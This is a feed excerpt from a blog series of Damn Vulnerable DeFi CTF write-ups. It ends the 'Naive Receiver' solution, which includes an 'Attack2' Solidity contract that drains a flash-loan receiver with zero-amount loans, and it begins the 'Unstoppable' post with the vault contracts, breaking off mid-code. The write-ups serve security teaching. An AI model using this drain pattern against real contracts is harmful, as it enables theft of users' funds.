        <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashFee</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> token, <span class="hljs-keyword">uint256</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-keyword">if</span> (token <span class="hljs-operator">!</span><span class="hljs-operator">=</span> ETH)
            <span class="hljs-keyword">revert</span> UnsupportedCurrency();
        <span class="hljs-keyword">return</span> FIXED_FEE;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashLoan</span>(<span class="hljs-params">
        IERC3156FlashBorrower receiver,
        <span class="hljs-keyword">address</span> token,
        <span class="hljs-keyword">uint256</span> amount,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">if</span> (token <span class="hljs-operator">!</span><span class="hljs-operator">=</span> ETH)
            <span class="hljs-keyword">revert</span> UnsupportedCurrency();

        <span class="hljs-keyword">uint256</span> balanceBefore <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>;

        <span class="hljs-comment">// Transfer ETH and handle control to receiver</span>
        SafeTransferLib.safeTransferETH(<span class="hljs-keyword">address</span>(receiver), amount);
        <span class="hljs-keyword">if</span>(receiver.onFlashLoan(
            <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>,
            ETH,
            amount,
            FIXED_FEE,
            data
        ) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> CALLBACK_SUCCESS) {
            <span class="hljs-keyword">revert</span> CallbackFailed();
        }

        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span> <span class="hljs-operator">&lt;</span> balanceBefore <span class="hljs-operator">+</span> FIXED_FEE)
            <span class="hljs-keyword">revert</span> RepayFailed();

        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }

    <span class="hljs-comment">// Allow deposits of ETH</span>
    <span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{}
}
</code></pre>
<p>A lot of code again. So let's try not to get overwhelmed and get a better understanding of those contracts.</p>
<h2 id="heading-the-hack">The Hack</h2>
<p>Here is a simplified version of each contract, so we can have a clear view of what is doing what, and what we can mess with.</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// Contract 1: request flash loan</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">NaiveReceiverLenderPool</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ReentrancyGuard</span>, <span class="hljs-title">IERC3156FlashLender</span> </span>{
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">constant</span> FIXED_FEE <span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">maxFlashLoan</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> token</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{}
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashFee</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> token, <span class="hljs-keyword">uint256</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{}
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashLoan</span>(<span class="hljs-params">
        IERC3156FlashBorrower receiver,
        <span class="hljs-keyword">address</span> token,
        <span class="hljs-keyword">uint256</span> amount,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{}
}
</code></pre>
<pre><code class="lang-solidity"><span class="hljs-comment">// Contract 2: receive flash loan</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">FlashLoanReceiver</span> <span class="hljs-keyword">is</span> <span class="hljs-title">IERC3156FlashBorrower</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">onFlashLoan</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span>,
        <span class="hljs-keyword">address</span> token,
        <span class="hljs-keyword">uint256</span> amount,
        <span class="hljs-keyword">uint256</span> fee,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span>
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bytes32</span></span>) </span>{}
}
</code></pre>
<p>Much better, right? And let's not forget the <code>receiver</code> address that we have to drain. In other word, we have:</p>
<ul>
<li><p>a <code>flashloan()</code> function used to request a flashloan;</p>
</li>
<li><p>a <code>onFlashLoan()</code> callback function used to interact with the loan once we received the loan;</p>
</li>
</ul>
<p>Not so impressive anymore. We know that we can request up to 1000 ETH, and that each loan will cost us 1 ETH. So let's check the <code>flashloan()</code> function since it is where everything starts:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashLoan</span>(<span class="hljs-params">
        IERC3156FlashBorrower receiver,
        <span class="hljs-keyword">address</span> token,
        <span class="hljs-keyword">uint256</span> amount,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">if</span> (token <span class="hljs-operator">!</span><span class="hljs-operator">=</span> ETH) <span class="hljs-keyword">revert</span> UnsupportedCurrency();

        <span class="hljs-keyword">uint256</span> balanceBefore <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>;

        <span class="hljs-comment">// Transfer ETH and handle control to receiver</span>
        SafeTransferLib.safeTransferETH(<span class="hljs-keyword">address</span>(receiver), amount);
        <span class="hljs-keyword">if</span>(receiver.onFlashLoan(
            <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>,
            ETH,
            amount,
            FIXED_FEE,
            data
        ) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> CALLBACK_SUCCESS) {
            <span class="hljs-keyword">revert</span> CallbackFailed();
        }

        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span> <span class="hljs-operator">&lt;</span> balanceBefore <span class="hljs-operator">+</span> FIXED_FEE)
            <span class="hljs-keyword">revert</span> RepayFailed();

        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }
</code></pre>
<p>Everything seems correct. The function takes 4 parameters:</p>
<ol>
<li><p><strong>receiver</strong>: the receiver of the loan</p>
</li>
<li><p><strong>token</strong>: the requested loaned token (has to be ETH, so we can forget that)</p>
</li>
<li><p><strong>amount</strong>: the desired amount (up to 1000 ETH)</p>
</li>
<li><p><strong>data</strong>: some data that can be passed to the <code>onFlashLoan()</code> callback</p>
</li>
</ol>
<p>So far, so good. The function prevents us from borrowing anything other than ETH, then checks the <code>balanceBefore</code> before sending the loan, checks that the callback succeeded, and then checks that the repaid amount matches the loan + the fee.</p>
<p>So what if we take a loan? Well, each loan will cost us 1 ETH! We don't really want to do that. However, the receiver has 10 ETH that we have to drain...</p>
<p>If we look at the <code>flashloan()</code> function again, we can see that there is no check for the recipient of the loan and no minimum amount requirement as well. So what if we pass the <code>receiver</code> address as the receiver of a 0 ether flash loan?</p>
<p>Well, the flash loan will succeed and it will have cost 1 ether to the <code>receiver</code>!</p>
<p>Seems like we are now on a good way toward the solution. We can repeat that 10 times, or craft a small contract that will execute a loop for us in a single transaction.</p>
<h2 id="heading-solution">Solution</h2>
<p>Let's implement the <strong>Naive Receiver</strong> solution accordingly.</p>
<pre><code class="lang-javascript"> it(<span class="hljs-string">"Execution"</span>, <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
    <span class="hljs-comment">/** CODE YOUR SOLUTION HERE */</span>

    <span class="hljs-comment">// In 10 transactions:</span>
    <span class="hljs-keyword">const</span> ETH = <span class="hljs-keyword">await</span> pool.ETH();
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">10</span>; i++) {
        <span class="hljs-keyword">await</span> pool.connect(player).flashLoan(receiver.address, ETH, <span class="hljs-number">1n</span>, <span class="hljs-string">"0x"</span>);
    }  
});
</code></pre>
<p>The above solution works fine, but to complete the challenge in a single transaction, we have to craft a smart contract:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.16;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IPool</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashLoan</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> receiver,
        <span class="hljs-keyword">address</span> token,
        <span class="hljs-keyword">uint256</span> amount,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Attack2</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> pool;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> receiver;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">constant</span> ETH <span class="hljs-operator">=</span> <span class="hljs-number">0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE</span>;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _pool, <span class="hljs-keyword">address</span> _receiver</span>) </span>{
        pool <span class="hljs-operator">=</span> _pool;
        receiver <span class="hljs-operator">=</span> _receiver;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&lt;</span> <span class="hljs-number">10</span>; ) {
            IPool(pool).flashLoan(receiver, ETH, <span class="hljs-number">0</span>, <span class="hljs-string">""</span>);
            <span class="hljs-keyword">unchecked</span> {
                <span class="hljs-operator">+</span><span class="hljs-operator">+</span>i;
            }
        }
    }
}
</code></pre>
<blockquote>
<p>Note: The <code>unchecked{ ++i; }</code> is just a good gas optimization practice for bounded for loop.</p>
</blockquote>
<p>Now, we have to adjust the test file a bit:</p>
<pre><code class="lang-javascript">it(<span class="hljs-string">"Execution"</span>, <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
    <span class="hljs-comment">/** CODE YOUR SOLUTION HERE */</span>

    <span class="hljs-comment">// In 10 transactions:</span>
    <span class="hljs-comment">// const ETH = await pool.ETH();</span>
    <span class="hljs-comment">// for (let i = 0; i &lt; 10; i++) {</span>
    <span class="hljs-comment">//   await pool.connect(player).flashLoan(receiver.address, ETH, 1n, "0x");</span>
    <span class="hljs-comment">// }</span>

    <span class="hljs-comment">// 1 transaction:</span>
    <span class="hljs-keyword">const</span> Attack2 = <span class="hljs-keyword">await</span> ethers.getContractFactory(<span class="hljs-string">"Attack2"</span>, deployer);
    <span class="hljs-keyword">const</span> attack2 = <span class="hljs-keyword">await</span> Attack2.deploy(pool.address, receiver.address);

    <span class="hljs-keyword">await</span> attack2.attack();
  });
</code></pre>
<p>Then we just have to run the test with the following command:</p>
<pre><code class="lang-bash">yarn naive-receiver
</code></pre>
<p>And we get the following printed in the terminal:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1714213049247/266eb563-b0d6-498f-a89e-c616b0b91a86.png" alt /></p>
<p>Congrats! You just beat the level 2 of Damn Vulnerable DeFi.</p>
<p><strong>🎉 Level completed 🎉</strong></p>
<h2 id="heading-takeaway">Takeaway</h2>
<ul>
<li>Always validate all sensitive inputs before executing any logic.</li>
</ul>
<hr />
<p>You can find all the codes, challenges, and their solutions on my GitHub: <a target="_blank" href="https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions">https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions</a></p>
]]></content:encoded></item><item><title><![CDATA[Damn Vulnerable DeFi | 1 - Unstoppable]]></title><description><![CDATA[Damn Vulnerable DeFi challenges are a bit different from the Ethernaut challenges. They are focused on DeFi, as the name suggests, but they are also a bit more realistic as they involve a lot more contracts and inheritances, while their Ethernaut hom...]]></description><link>https://blog.pedrojok.com/damn-vulnerable-defi-1-unstoppable</link><guid isPermaLink="true">https://blog.pedrojok.com/damn-vulnerable-defi-1-unstoppable</guid><category><![CDATA[ethereum smart contracts]]></category><category><![CDATA[damn vulnerable defi]]></category><category><![CDATA[ethereum security]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Web3 Security]]></category><dc:creator><![CDATA[Pierre E.]]></dc:creator><pubDate>Thu, 11 Apr 2024 17:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1714013652832/c6be4be8-9c7c-4f88-b69e-03310e76d33c.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Damn Vulnerable DeFi challenges are a bit different from the <a target="_blank" href="https://blog.pedrojok.com/series/ethernaut">Ethernaut challenges</a>. They are focused on DeFi, as the name suggests, but they are also a bit more realistic as they involve a lot more contracts and inheritances, while their Ethernaut homologs are focused on the "trick" to beat the level with simple contracts. Here, we really have to remove all the noise to find our way through all functions. This is why I would suggest starting with The Ethernaut, before diving into Damn Vulnerable DeFi, so you are familiar with the main vulnerabilities and attack vectors and will be able to recognize those patterns if you encounter them.</p>
<p>Without further due, let's jump into the first solution of the Damn Vulnerable DeFi Challenge: Unstoppable.</p>
<h2 id="heading-goals">Goals</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1714013849956/cd2e4f1e-4b9f-498f-b93a-bc3c479f7cf7.png" alt /></p>
<p>So, to make it simple, we have to DoS the vault.</p>
<h2 id="heading-the-contract">The Contract</h2>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"solmate/src/utils/FixedPointMathLib.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"solmate/src/utils/ReentrancyGuard.sol"</span>;
<span class="hljs-keyword">import</span> { <span class="hljs-title">SafeTransferLib</span>, <span class="hljs-title">ERC4626</span>, <span class="hljs-title">ERC20</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"solmate/src/mixins/ERC4626.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"solmate/src/auth/Owned.sol"</span>;
<span class="hljs-keyword">import</span> { <span class="hljs-title">IERC3156FlashBorrower</span>, <span class="hljs-title">IERC3156FlashLender</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"@openzeppelin/contracts/interfaces/IERC3156.sol"</span>;

<span class="hljs-comment">/**
 * @title UnstoppableVault
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">UnstoppableVault</span> <span class="hljs-keyword">is</span> <span class="hljs-title">IERC3156FlashLender</span>, <span class="hljs-title">ReentrancyGuard</span>, <span class="hljs-title">Owned</span>, <span class="hljs-title">ERC4626</span> </span>{
    <span class="hljs-keyword">using</span> <span class="hljs-title">SafeTransferLib</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title">ERC20</span>;
    <span class="hljs-keyword">using</span> <span class="hljs-title">FixedPointMathLib</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title"><span class="hljs-keyword">uint256</span></span>;

    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> <span class="hljs-keyword">constant</span> FEE_FACTOR <span class="hljs-operator">=</span> <span class="hljs-number">0</span><span class="hljs-number">.05</span> <span class="hljs-literal">ether</span>;
    <span class="hljs-keyword">uint64</span> <span class="hljs-keyword">public</span> <span class="hljs-keyword">constant</span> GRACE_PERIOD <span class="hljs-operator">=</span> <span class="hljs-number">30</span> <span class="hljs-literal">days</span>;

    <span class="hljs-keyword">uint64</span> <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> end <span class="hljs-operator">=</span> <span class="hljs-keyword">uint64</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>) <span class="hljs-operator">+</span> GRACE_PERIOD;

    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> feeRecipient;

    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">InvalidAmount</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">InvalidBalance</span>(<span class="hljs-params"></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">CallbackFailed</span>(<span class="hljs-params"></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">UnsupportedCurrency</span>(<span class="hljs-params"></span>)</span>;

    <span class="hljs-function"><span class="hljs-keyword">event</span> <span class="hljs-title">FeeRecipientUpdated</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">indexed</span> newFeeRecipient</span>)</span>;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params">ERC20 _token, <span class="hljs-keyword">address</span> _owner, <span class="hljs-keyword">address</span> _feeRecipient</span>)
        <span class="hljs-title">ERC4626</span>(<span class="hljs-params">_token, <span class="hljs-string">"Oh Damn Valuable Token"</span>, <span class="hljs-string">"oDVT"</span></span>)
        <span class="hljs-title">Owned</span>(<span class="hljs-params">_owner</span>)
    </span>{
        feeRecipient <span class="hljs-operator">=</span> _feeRecipient;
        <span class="hljs-keyword">emit</span> FeeRecipientUpdated(_feeRecipient);
    }

    <span class="hljs-comment">/**
     * @inheritdoc IERC3156FlashLender
     */</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">maxFlashLoan</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _token</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">address</span>(asset) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> _token)
            <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;

        <span class="hljs-keyword">return</span> totalAssets();
    }

    <span class="hljs-comment">/**
     * @inheritdoc IERC3156FlashLender
     */</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashFee</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _token, <span class="hljs-keyword">uint256</span> _amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> fee</span>) </span>{
        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">address</span>(asset) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> _token)
            <span class="hljs-keyword">revert</span> UnsupportedCurrency();

        <span class="hljs-keyword">if</span> (<span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span> <span class="hljs-operator">&lt;</span> end <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> _amount <span class="hljs-operator">&lt;</span> maxFlashLoan(_token)) {
            <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-keyword">return</span> _amount.mulWadUp(FEE_FACTOR);
        }
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setFeeRecipient</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _feeRecipient</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyOwner</span> </span>{
        <span class="hljs-keyword">if</span> (_feeRecipient <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)) {
            feeRecipient <span class="hljs-operator">=</span> _feeRecipient;
            <span class="hljs-keyword">emit</span> FeeRecipientUpdated(_feeRecipient);
        }
    }

    <span class="hljs-comment">/**
     * @inheritdoc ERC4626
     */</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">totalAssets</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-keyword">assembly</span> { <span class="hljs-comment">// better safe than sorry</span>
            <span class="hljs-keyword">if</span> <span class="hljs-built_in">eq</span>(<span class="hljs-built_in">sload</span>(<span class="hljs-number">0</span>), <span class="hljs-number">2</span>) {
                <span class="hljs-built_in">mstore</span>(<span class="hljs-number">0x00</span>, <span class="hljs-number">0xed3ba6a6</span>)
                <span class="hljs-keyword">revert</span>(<span class="hljs-number">0x1c</span>, <span class="hljs-number">0x04</span>)
            }
        }
        <span class="hljs-keyword">return</span> asset.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
    }

    <span class="hljs-comment">/**
     * @inheritdoc IERC3156FlashLender
     */</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flashLoan</span>(<span class="hljs-params">
        IERC3156FlashBorrower receiver,
        <span class="hljs-keyword">address</span> _token,
        <span class="hljs-keyword">uint256</span> amount,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">if</span> (amount <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) <span class="hljs-keyword">revert</span> InvalidAmount(<span class="hljs-number">0</span>); <span class="hljs-comment">// fail early</span>
        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">address</span>(asset) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> _token) <span class="hljs-keyword">revert</span> UnsupportedCurrency(); <span class="hljs-comment">// enforce ERC3156 requirement</span>
        <span class="hljs-keyword">uint256</span> balanceBefore <span class="hljs-operator">=</span> totalAssets();
        <span class="hljs-keyword">if</span> (convertToShares(totalSupply) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> balanceBefore) <span class="hljs-keyword">revert</span> InvalidBalance(); <span class="hljs-comment">// enforce ERC4626 requirement</span>
        <span class="hljs-keyword">uint256</span> fee <span class="hljs-operator">=</span> flashFee(_token, amount);
        <span class="hljs-comment">// transfer tokens out + execute callback on receiver</span>
        ERC20(_token).safeTransfer(<span class="hljs-keyword">address</span>(receiver), amount);
        <span class="hljs-comment">// callback must return magic value, otherwise assume it failed</span>
        <span class="hljs-keyword">if</span> (receiver.onFlashLoan(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-keyword">address</span>(asset), amount, fee, data) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-built_in">keccak256</span>(<span class="hljs-string">"IERC3156FlashBorrower.onFlashLoan"</span>))
            <span class="hljs-keyword">revert</span> CallbackFailed();
        <span class="hljs-comment">// pull amount + fee from receiver, then pay the fee to the recipient</span>
        ERC20(_token).safeTransferFrom(<span class="hljs-keyword">address</span>(receiver), <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), amount <span class="hljs-operator">+</span> fee);
        ERC20(_token).safeTransfer(feeRecipient, fee);
        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }

    <span class="hljs-comment">/**
     * @inheritdoc ERC4626
     */</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">beforeWithdraw</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> assets, <span class="hljs-keyword">uint256</span> shares</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title">nonReentrant</span> </span>{}

    <span class="hljs-comment">/**
     * @inheritdoc ERC4626
     */</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">afterDeposit</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> assets, <span class="hljs-keyword">uint256</span> shares</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title">nonReentrant</span> </span>{}
}
</code></pre>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"solmate/src/auth/Owned.sol"</span>;
<span class="hljs-keyword">import</span> { <span class="hljs-title">UnstoppableVault</span>, <span class="hljs-title">ERC20</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../unstoppable/UnstoppableVault.sol"</span>;

<span class="hljs-comment">/**
 * @title ReceiverUnstoppable
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">ReceiverUnstoppable</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Owned</span>, <span class="hljs-title">IERC3156FlashBorrower</span> </span>{
    UnstoppableVault <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> pool;

    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">UnexpectedFlashLoan</span>(<span class="hljs-params"></span>)</span>;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> poolAddress</span>) <span class="hljs-title">Owned</span>(<span class="hljs-params"><span class="hljs-built_in">msg</span>.sender</span>) </span>{
        pool <span class="hljs-operator">=</span> UnstoppableVault(poolAddress);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">onFlashLoan</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> initiator,
        <span class="hljs-keyword">address</span> token,
        <span class="hljs-keyword">uint256</span> amount,
        <span class="hljs-keyword">uint256</span> fee,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span>
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bytes32</span></span>) </span>{
